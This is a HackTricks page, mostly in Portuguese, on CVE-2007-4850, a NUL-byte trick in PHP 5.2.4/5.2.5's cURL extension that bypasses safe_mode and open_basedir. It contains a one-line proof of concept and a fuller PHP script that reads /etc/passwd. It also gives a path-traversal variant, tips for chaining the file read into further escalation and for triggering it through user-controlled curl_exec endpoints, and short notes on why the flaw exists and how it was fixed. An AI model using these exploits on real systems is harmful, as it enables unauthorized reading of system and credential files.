PHP 5.2.4 e 5.2.5 PHP cURL

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Esta página documenta um truque legado, mas ainda útil em CTFs/instalações legadas locais, para contornar as verificações PHP safe_mode/open_basedir usando a extensão cURL em builds específicos do PHP 5.2.x.

  • Afetados: PHP 5.2.4 e 5.2.5 com ext/curl habilitado.
  • Impacto: Ler arquivos locais arbitrários apesar das restrições de safe_mode ou open_basedir (sem execução direta de código).
  • ID: CVE-2007-4850.

Fonte http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

PoC de uma linha

Se safe_mode ou open_basedir estiverem ativos e cURL estiver habilitado, o seguinte retornará o conteúdo do script atual:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

PoC mais explícito (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Notas:

  • Use double quotes or chr(0) para injetar um NUL real. Percent-encoding (%00) não funcionará de forma confiável.
  • Isto é uma primitive de leitura de arquivo. Combine com outros primitives (log poisoning, session file inclusion, etc.) para escalonamento adicional quando possível.

Why this works (short)

A vulnerabilidade reside em como o PHP 5.2.4/5.2.5 executava as checagens safe_mode/open_basedir para URLs file:// em ext/curl. A verificação analisava a URL e validava um componente de caminho, mas devido ao tratamento de NUL-byte validava uma string diferente daquela realmente usada por libcurl. Na prática, o validador podia aprovar o caminho após o NUL enquanto libcurl usava a parte antes do NUL como o contentor da URL, permitindo um bypass que resulta na leitura do arquivo colocado após o byte NUL. Veja a análise original e a macro afetada em curl/interface.c para detalhes. [CVE-2007-4850].

Constraints and fixes

  • Corrigido em versões 5.2.x posteriores (ex.: builds de distro corrigidos para 5.2.6) corrigindo o parsing/validação em ext/curl.
  • Afeta apenas deployments PHP muito antigos; safe_mode foi removido no PHP 5.4 e builds modernos não exibem este comportamento.
  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers permitiam acesso file:// com NULs embutidos para burlar open_basedir; corrigido antes do 5.2.x.
  • PHP bugs #30609/#36223 rastrearam problemas iniciais do cURL com open_basedir usando file:// sem canonicalização. Qualquer checagem antes do byte NUL ou sem resolução ao estilo realpath é suscetível à mesma truncagem.

CTF tips

  • Quando identificar PHP 5.2.4/5.2.5 com ext/curl carregado (procure por cURL support => enabled em phpinfo() e a PHP Version exata), esse truque geralmente funciona mesmo se allow_url_fopen estiver desabilitado porque ext/curl lida com file:// por conta própria.
  • Se caminhos diretos estiverem bloqueados, tente traversal relativo após o NUL, ex.: file://x\x00../../../../etc/passwd. O traversal é resolvido por libcurl, não pelo guard open_basedir.
  • Você pode embutir o payload em um único corpo de requisição HTTP para acionar o LFI através de código server-side vulnerável que espelha URLs controladas pelo usuário em curl_exec() (comum em endpoints legacy estilo SSRF).

See also

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks